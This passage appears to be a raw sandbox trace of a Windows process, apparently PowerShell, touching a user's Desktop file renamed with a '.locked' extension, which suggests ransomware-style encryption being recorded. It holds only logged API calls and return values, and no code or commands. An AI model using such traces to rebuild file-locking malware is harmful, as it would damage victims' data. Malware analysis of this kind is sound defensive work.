[6]=0xd4, [7]=0x1))) returned 0x0 [0124.348] CoTaskMemAlloc (cb=0x20e) returned 0x8e54b60 [0124.348] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x8e54b60, nSize=0x105 | out: lpBuffer="\xb900\x9e08\xe428\xece4\x4e06\x6850\x41b3\x7bc5\xaeeb\x8eb6\x81af\x22ba\x1f44\x3465\x4c69\x70be\x1740\x16f2\xe27b\xfd79\xed86\x390d\x1bf4\xada8\x9092\xcb1e\x763d\x5a8f\xb5d9\x1091\x3c2e\x8d05\x6d8a\x5424\x1fe7\x56ed\x83ad\x50b4\x159c\x17a5\x8874\x2059\x8fc\x84c5\xd376\xd468\x286f\xce78\xb85c\x50f3\x4490\xe3ff\x5f63\xa1be\x2c9a\x1596\xd604\xfe07\x841e\xe021\x3142\xc411\x3628\xcf94\xa450\x9e62\xd6c9\x71ab\xb200\xc5b\x96e6\xad4\x9624\xfff5\xd5c6\x1bb7\xcbd7\x21b7\xaf62\xdc12\x5da1\xe337\xfb1a\x461a\xc098\xc09b\x63e7\x2a1f\x9308\x7e02\x6a1e\xf28e\x189f\xe489\x8522\xb1a2\x5784\xff40\xef5\x6fd8\xed9c\x45e2\x131\x17cd\x7fe9\x81b0\xe345\x21aa\x2640\x72a1\xa7aa\x3c4f\x501\xee7e\x5883\x5eb1\x6306\x6299\x7891\xb782\x930d\x240c\xb46a\xdb1b\xec27\x955f\x3f04\x4a93\xf530\x1897\xa7b3\x19f9\x93a7\x1d33\xc801\x22db\x5c52\x25d7\x46c9\xa2f9\x87fb\x4359\x9bbe\xb162\x2d8d\x4486\x461a\x78ac\x7e61\x930\xaefa\xc489\x2a41\x6622\x9103\x4539\xc79c\xc8b\xcaa8\x2f0d\x52fb\xcea\x63f7\x2333\xfe9d\x1fb0\x67ad\xa7d6\x350\x4c6\x6370\x2cb5\x86b1\x435a\xfbb7\xf9ae\x296e\x216e\x4121\x626\xc98c\xeec3\xc2b0\x9385\xb9a1\xd985\x32e6\x4b6c\x3f4c\x5dd6\xe5a3\x9db5\xc377\xc09c\xb755\x74\xb8e3\xab38\x9783\xe150\x429a\x1d24\xc0c6\x30a3\x1ad1\xc85a\x3452\x73f7\xc7f1\x1f18\xad33\xec7a\x41cb\xf360\x9423\xc220\x4548\x5cac\xc651\x802e\xe2c2\x1577\x85bd\xed87\x9d36\x9196\xee\xa3b5\xec70\xe39f\x808d\x8368\xba76\x5daf\x5270\x1622\x66e2\xbafb\xc5b3\xf7c2\x2f3e\xa677\xdeca\xa6c1\x48c6\xc34c\x5137\xd323\xd727\x4eb8\x9670\xa1f0\x7644\x78af\x9acf\x66e1\x13") returned 0x0 [0124.348] CoTaskMemFree (pv=0x8e54b60) [0124.351] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x32, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0124.351] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8c8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x31, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0124.351] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x32, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x32, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0124.354] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\1ycn0quZ.wav.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\fs-cycsaoyh e\\1ycn0quz.wav.locked")) returned 0x20 [0124.354] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\1ycn0quZ.wav.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\fs-cycsaoyh e\\1ycn0quz.wav.locked")) returned 0x20 [0124.354] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\1ycn0quZ.wav.locked", nBufferLength=0x105, lpBuffer=0x99ae248, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\1ycn0quZ.wav.locked", lpFilePart=0x0) returned 0x54 [0124.354] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\1ycn0quZ.wav.locked", nBufferLength=0x105, lpBuffer=0x99ae20c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\1ycn0quZ.wav.locked", lpFilePart=0x0) returned 0x54 [0124.355] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8f4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8f4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x32, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0124.357] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\1ycn0quZ.wav", nBufferLength=0x105, lpBuffer=0x99ae4a4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\1ycn0quZ.wav", lpFilePart=0x0) returned 0x4d [0124.357] CoTaskMemAlloc (cb=0x20e) returned 0x8e55850 [0124.357] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x8e55850, nSize=0x105 | out: lpBuffer="ѝ") returned 0x0 [0124.357] CoTaskMemFree (pv=0x8e55850) [0124.374] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9c0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x33, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0124.375] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae920*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae920*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x32, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0124.375] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x33, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x33, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0124.428] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae94c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae94c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x33, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0124.428] CoTaskMemAlloc (cb=0x20e) returned 0x8e52f58 [0124.428] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x8e52f58, nSize=0x105 | out: lpBuffer="\xb900\x9e08\xe428\xece4\x4e06\x6850\x41b3\x7bc5\xaeeb\x8eb6\x81af\x22ba\x1f44\x3465\x4c69\x70be\x1740\x16f2\xe27b\xfd79\xed86\x390d\x1bf4\xada8\x9092\xcb1e\x763d\x5a8f\xb5d9\x1091\x3c2e\x8d05\x6d8a\x5424\x1fe7\x56ed\x83ad\x50b4\x159c\x17a5\x8874\x2059\x8fc\x84c5\xd376\xd468\x286f\xce78\xb85c\x50f3\x4490\xe3ff\x5f63\xa1be\x2c9a\x1596\xd604\xfe07\x841e\xe021\x3142\xc411\x3628\xcf94\xa450\x9e62\xd6c9\x71ab\xb200\xc5b\x96e6\xad4\x9624\xfff5\xd5c6\x1bb7\xcbd7\x21b7\xaf62\xdc12\x5da1\xe337\xfb1a\x461a\xc098\xc09b\x63e7\x2a1f\x9308\x7e02\x6a1e\xf28e\x189f\xe489\x8522\xb1a2\x5784\xff40\xef5\x6fd8\xed9c\x45e2\x131\x17cd\x7fe9\x81b0\xe345\x21aa\x2640\x72a1\xa7aa\x3c4f\x501\xee7e\x5883\x5eb1\x6306\x6299\x7891\xb782\x930d\x240c\xb46a\xdb1b\xec27\x955f\x3f04\x4a93\xf530\x1897\xa7b3\x19f9\x93a7\x1d33\xc801\x22db\x5c52\x25d7\x46c9\xa2f9\x87fb\x4359\x9bbe\xb162\x2d8d\x4486\x461a\x78ac\x7e61\x930\xaefa\xc489\x2a41\x6622\x9103\x4539\xc79c\xc8b\xcaa8\x2f0d\x52fb\xcea\x63f7\x2333\xfe9d\x1fb0\x67ad\xa7d6\x350\x4c6\x6370\x2cb5\x86b1\x435a\xfbb7\xf9ae\x296e\x216e\x4121\x626\xc98c\xeec3\xc2b0\x9385\xb9a1\xd985\x32e6\x4b6c\x3f4c\x5dd6\xe5a3\x9db5\xc377\xc09c\xb755\x74\xb8e3\xab38\x9783\xe150\x429a\x1d24\xc0c6\x30a3\x1ad1\xc85a\x3452\x73f7\xc7f1\x1f18\xad33\xec7a\x41cb\xf360\x9423\xc220\x4548\x5cac\xc651\x802e\xe2c2\x1577\x85bd\xed87\x9d36\x9196\xee\xa3b5\xec70\xe39f\x808d\x8368\xba76\x5daf\x5270\x1622\x66e2\xbafb\xc5b3\xf7c2\x2f3e\xa677\xdeca\xa6c1\x48c6\xc34c\x5137\xd323\xd727\x4eb8\x9670\xa1f0\x7644\x78af\x9acf\x66e1\x13") returned 0x0 [0124.428] CoTaskMemFree (pv=0x8e52f58) [0124.428] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9c0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x34, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0124.428] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae920*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae920*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x33, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0124.428] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x34, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x34, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0124.430] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae94c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae94c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x34, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0124.430] CoTaskMemAlloc (cb=0x20e) returned 0x8e55a78 [0124.430] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x8e55a78, nSize=0x105 | out: lpBuffer="\xb900\x9e08\xe428\xece4\x4e06\x6850\x41b3\x7bc5\xaeeb\x8eb6\x81af\x22ba\x1f44\x3465\x4c69\x70be\x1740\x16f2\xe27b\xfd79\xed86\x390d\x1bf4\xada8\x9092\xcb1e\x763d\x5a8f\xb5d9\x1091\x3c2e\x8d05\x6d8a\x5424\x1fe7\x56ed\x83ad\x50b4\x159c\x17a5\x8874\x2059\x8fc\x84c5\xd376\xd468\x286f\xce78\xb85c\x50f3\x4490\xe3ff\x5f63\xa1be\x2c9a\x1596\xd604\xfe07\x841e\xe021\x3142\xc411\x3628\xcf94\xa450\x9e62\xd6c9\x71ab\xb200\xc5b\x96e6\xad4\x9624\xfff5\xd5c6\x1bb7\xcbd7\x21b7\xaf62\xdc12\x5da1\xe337\xfb1a\x461a\xc098\xc09b\x63e7\x2a1f\x9308\x7e02\x6a1e\xf28e\x189f\xe489\x8522\xb1a2\x5784\xff40\xef5\x6fd8\xed9c\x45e2\x131\x17cd\x7fe9\x81b0\xe345\x21aa\x2640\x72a1\xa7aa\x3c4f\x501\xee7e\x5883\x5eb1\x6306\x6299\x7891\xb782\x930d\x240c\xb46a\xdb1b\xec27\x955f\x3f04\x4a93\xf530\x1897\xa7b3\x19f9\x93a7\x1d33\xc801\x22db\x5c52\x25d7\x46c9\xa2f9\x87fb\x4359\x9bbe\xb162\x2d8d\x4486\x461a\x78ac\x7e61\x930\xaefa\xc489\x2a41\x6622\x9103\x4539\xc79c\xc8b\xcaa8\x2f0d\x52fb\xcea\x63f7\x2333\xfe9d\x1fb0\x67ad\xa7d6\x350\x4c6\x6370\x2cb5\x86b1\x435a\xfbb7\xf9ae\x296e\x216e\x4121\x626\xc98c\xeec3\xc2b0\x9385\xb9a1\xd985\x32e6\x4b6c\x3f4c\x5dd6\xe5a3\x9db5\xc377\xc09c\xb755\x74\xb8e3\xab38\x9783\xe150\x429a\x1d24\xc0c6\x30a3\x1ad1\xc85a\x3452\x73f7\xc7f1\x1f18\xad33\xec7a\x41cb\xf360\x9423\xc220\x4548\x5cac\xc651\x802e\xe2c2\x1577\x85bd\xed87\x9d36\x9196\xee\xa3b5\xec70\xe39f\x808d\x8368\xba76\x5daf\x5270\x1622\x66e2\xbafb\xc5b3\xf7c2\x2f3e\xa677\xdeca\xa6c1\x48c6\xc34c\x5137\xd323\xd727\x4eb8\x9670\xa1f0\x7644\x78af\x9acf\x66e1\x13") returned 0x0 [0124.430] CoTaskMemFree (pv=0x8e55a78) [0124.430] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9c0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x35, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0124.430] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae920*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae920*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x34, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0124.430] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x35, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x35, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0124.432] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae94c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae94c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x35, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0124.445] CoTaskMemAlloc (cb=0x20e) returned 0x8e53180 [0124.445] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x8e53180, nSize=0x105 | out: lpBuffer="Ȇ") returned 0x0 [0124.445] CoTaskMemFree (pv=0x8e53180) [0124.445] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9c0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x36, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0124.445] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae920*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae920*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x35, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0124.445] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x36, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x36, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0124.447] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae94c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae94c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x36, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0124.457] CoTaskMemAlloc (cb=0x20e) returned 0x8e54fb0 [0124.457] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x8e54fb0, nSize=0x105 | out: lpBuffer="") returned 0x0 [0124.457] CoTaskMemFree (pv=0x8e54fb0) [0124.457] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9c0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x37, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0124.458] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae920*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae920*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x36, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0124.458] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x37, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9b0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x37, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0124.460] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae94c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae94c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x37, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0124.480] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae8e4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8e4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x38, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0124.480] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae844*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae844*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x37, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0124.480] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae8d4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x38, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae8d4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x38, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0124.492] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae7a8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae7a8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x39, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0124.492] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae708*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae708*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x38, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0124.492] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae798*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x39, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae798*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x39, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0124.509] CoTaskMemAlloc (cb=0x20e) returned 0x8e56990 [0124.509] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x8e56990, nSize=0x105 | out: lpBuffer="\xb900\x9e08\xe428\xece4\x4e06\x6850\x41b3\x7bc5\xaeeb\x8eb6\x81af\x22ba\x1f44\x3465\x4c69\x70be\x1740\x16f2\xe27b\xfd79\xed86\x390d\x1bf4\xada8\x9092\xcb1e\x763d\x5a8f\xb5d9\x1091\x3c2e\x8d05\x6d8a\x5424\x1fe7\x56ed\x83ad\x50b4\x159c\x17a5\x8874\x2059\x8fc\x84c5\xd376\xd468\x286f\xce78\xb85c\x50f3\x4490\xe3ff\x5f63\xa1be\x2c9a\x1596\xd604\xfe07\x841e\xe021\x3142\xc411\x3628\xcf94\xa450\x9e62\xd6c9\x71ab\xb200\xc5b\x96e6\xad4\x9624\xfff5\xd5c6\x1bb7\xcbd7\x21b7\xaf62\xdc12\x5da1\xe337\xfb1a\x461a\xc098\xc09b\x63e7\x2a1f\x9308\x7e02\x6a1e\xf28e\x189f\xe489\x8522\xb1a2\x5784\xff40\xef5\x6fd8\xed9c\x45e2\x131\x17cd\x7fe9\x81b0\xe345\x21aa\x2640\x72a1\xa7aa\x3c4f\x501\xee7e\x5883\x5eb1\x6306\x6299\x7891\xb782\x930d\x240c\xb46a\xdb1b\xec27\x955f\x3f04\x4a93\xf530\x1897\xa7b3\x19f9\x93a7\x1d33\xc801\x22db\x5c52\x25d7\x46c9\xa2f9\x87fb\x4359\x9bbe\xb162\x2d8d\x4486\x461a\x78ac\x7e61\x930\xaefa\xc489\x2a41\x6622\x9103\x4539\xc79c\xc8b\xcaa8\x2f0d\x52fb\xcea\x63f7\x2333\xfe9d\x1fb0\x67ad\xa7d6\x350\x4c6\x6370\x2cb5\x86b1\x435a\xfbb7\xf9ae\x296e\x216e\x4121\x626\xc98c\xeec3\xc2b0\x9385\xb9a1\xd985\x32e6\x4b6c\x3f4c\x5dd6\xe5a3\x9db5\xc377\xc09c\xb755\x74\xb8e3\xab38\x9783\xe150\x429a\x1d24\xc0c6\x30a3\x1ad1\xc85a\x3452\x73f7\xc7f1\x1f18\xad33\xec7a\x41cb\xf360\x9423\xc220\x4548\x5cac\xc651\x802e\xe2c2\x1577\x85bd\xed87\x9d36\x9196\xee\xa3b5\xec70\xe39f\x808d\x8368\xba76\x5daf\x5270\x1622\x66e2\xbafb\xc5b3\xf7c2\x2f3e\xa677\xdeca\xa6c1\x48c6\xc34c\x5137\xd323\xd727\x4eb8\x9670\xa1f0\x7644\x78af\x9acf\x66e1\x13") returned 0x0 [0124.509] CoTaskMemFree 